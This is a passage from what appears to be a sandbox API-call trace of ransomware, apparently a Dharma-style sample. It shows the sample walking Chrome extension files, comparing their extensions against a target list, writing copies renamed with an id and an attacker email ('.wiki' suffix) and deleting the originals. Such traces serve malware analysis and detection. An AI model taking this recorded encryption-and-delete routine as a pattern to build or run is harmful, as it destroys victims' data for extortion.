Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.055] lstrlenW (lpString=".1cd") returned 4 [0173.055] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.055] lstrlenW (lpString=".jpg") returned 4 [0173.055] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.055] lstrlenW (lpString=".doc") returned 4 [0173.055] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.055] lstrlenW (lpString=".docx") returned 5 [0173.056] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.056] lstrlenW (lpString=".pdf") returned 4 [0173.056] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.056] lstrlenW (lpString=".xls") returned 4 [0173.056] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.056] lstrlenW (lpString=".xlsx") returned 5 [0173.056] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.056] lstrlenW (lpString=".ppt") returned 4 [0173.056] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.056] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.056] lstrlenW (lpString=".zip") returned 4 [0173.056] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.056] lstrlenW (lpString=".rar") returned 4 [0173.056] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.056] lstrlenW (lpString=".bz2") returned 4 [0173.056] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.056] lstrlenW (lpString=".7z") returned 3 [0173.056] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.056] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.056] lstrlenW (lpString=".dbf") returned 4 [0173.056] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.056] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.056] lstrlenW (lpString=".1cd") returned 4 [0173.056] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.056] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.056] lstrlenW (lpString=".jpg") returned 4 [0173.056] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.057] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.057] lstrlenW (lpString="messages.json") returned 13 [0173.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.057] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=206) returned 1 [0173.057] CloseHandle (hObject=0x1a0) returned 1 [0173.057] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json")) returned 0x2020 [0173.057] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.057] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.057] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.057] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.058] GetLastError () returned 0x0 [0173.058] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xce, lpOverlapped=0x0) returned 1 [0173.059] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.060] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.060] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.060] SetEndOfFile (hFile=0x320) returned 1 [0173.060] CloseHandle (hObject=0x320) returned 1 [0173.060] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.060] SetEndOfFile (hFile=0x1a0) returned 1 [0173.061] CloseHandle (hObject=0x1a0) returned 1 [0173.061] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.061] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json")) returned 1 [0173.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.061] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.062] lstrlenW (lpString=".doc") returned 4 [0173.062] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.062] lstrlenW (lpString=".docx") returned 5 [0173.062] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.062] lstrlenW (lpString=".pdf") returned 4 [0173.062] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.062] lstrlenW (lpString=".xls") returned 4 [0173.062] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.062] lstrlenW (lpString=".xlsx") returned 5 [0173.062] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.062] lstrlenW (lpString=".ppt") returned 4 [0173.062] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.062] lstrlenW (lpString=".zip") returned 4 [0173.062] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.062] lstrlenW (lpString=".rar") returned 4 [0173.062] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.062] lstrlenW (lpString=".bz2") returned 4 [0173.062] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.062] lstrlenW (lpString=".7z") returned 3 [0173.062] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.062] lstrlenW (lpString=".dbf") returned 4 [0173.062] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.062] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.062] lstrlenW (lpString=".1cd") returned 4 [0173.062] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.063] lstrlenW (lpString=".jpg") returned 4 [0173.063] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.063] lstrlenW (lpString=".doc") returned 4 [0173.063] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.063] lstrlenW (lpString=".docx") returned 5 [0173.063] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.063] lstrlenW (lpString=".pdf") returned 4 [0173.063] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.063] lstrlenW (lpString=".xls") returned 4 [0173.063] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.063] lstrlenW (lpString=".xlsx") returned 5 [0173.063] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.063] lstrlenW (lpString=".ppt") returned 4 [0173.063] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.063] lstrlenW (lpString=".zip") returned 4 [0173.063] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.063] lstrlenW (lpString=".rar") returned 4 [0173.063] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.063] lstrlenW (lpString=".bz2") returned 4 [0173.063] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.063] lstrlenW (lpString=".7z") returned 3 [0173.063] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.063] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.063] lstrlenW (lpString=".dbf") returned 4 [0173.063] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.064] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.064] lstrlenW (lpString=".1cd") returned 4 [0173.064] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.064] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 151 [0173.064] lstrlenW (lpString=".jpg") returned 4 [0173.064] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.064] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.064] lstrlenW (lpString="messages.json") returned 13 [0173.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.064] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=206) returned 1 [0173.064] CloseHandle (hObject=0x1a0) returned 1 [0173.064] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0173.065] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.065] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.065] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.065] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.065] GetLastError () returned 0x0 [0173.065] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xce, lpOverlapped=0x0) returned 1 [0173.066] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0173.067] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.067] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.067] SetEndOfFile (hFile=0x320) returned 1 [0173.067] CloseHandle (hObject=0x320) returned 1 [0173.067] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.068] SetEndOfFile (hFile=0x1a0) returned 1 [0173.068] CloseHandle (hObject=0x1a0) returned 1 [0173.068] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.069] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json")) returned 1 [0173.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.069] lstrlenW (lpString=".doc") returned 4 [0173.069] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.069] lstrlenW (lpString=".docx") returned 5 [0173.069] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.069] lstrlenW (lpString=".pdf") returned 4 [0173.069] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.069] lstrlenW (lpString=".xls") returned 4 [0173.069] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.069] lstrlenW (lpString=".xlsx") returned 5 [0173.069] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.069] lstrlenW (lpString=".ppt") returned 4 [0173.069] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.069] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.069] lstrlenW (lpString=".zip") returned 4 [0173.069] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.069] lstrlenW (lpString=".rar") returned 4 [0173.069] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.069] lstrlenW (lpString=".bz2") returned 4 [0173.069] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.070] lstrlenW (lpString=".7z") returned 3 [0173.070] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.070] lstrlenW (lpString=".dbf") returned 4 [0173.070] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.070] lstrlenW (lpString=".1cd") returned 4 [0173.070] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.070] lstrlenW (lpString=".jpg") returned 4 [0173.070] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.070] lstrlenW (lpString=".doc") returned 4 [0173.070] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.070] lstrlenW (lpString=".docx") returned 5 [0173.070] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.070] lstrlenW (lpString=".pdf") returned 4 [0173.070] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.070] lstrlenW (lpString=".xls") returned 4 [0173.070] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.070] lstrlenW (lpString=".xlsx") returned 5 [0173.070] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.070] lstrlenW (lpString=".ppt") returned 4 [0173.070] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.070] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.070] lstrlenW (lpString=".zip") returned 4 [0173.070] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.070] lstrlenW (lpString=".rar") returned 4 [0173.071] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.071] lstrlenW (lpString=".bz2") returned 4 [0173.071] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.071] lstrlenW (lpString=".7z") returned 3 [0173.071] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.071] lstrlenW (lpString=".dbf") returned 4 [0173.071] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.071] lstrlenW (lpString=".1cd") returned 4 [0173.071] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json") returned 155 [0173.071] lstrlenW (lpString=".jpg") returned 4 [0173.071] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.071] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.071] lstrlenW (lpString="messages.json") returned 13 [0173.071] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.072] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=216) returned 1 [0173.072] CloseHandle (hObject=0x1a0) returned 1 [0173.072] GetFileAttributesW 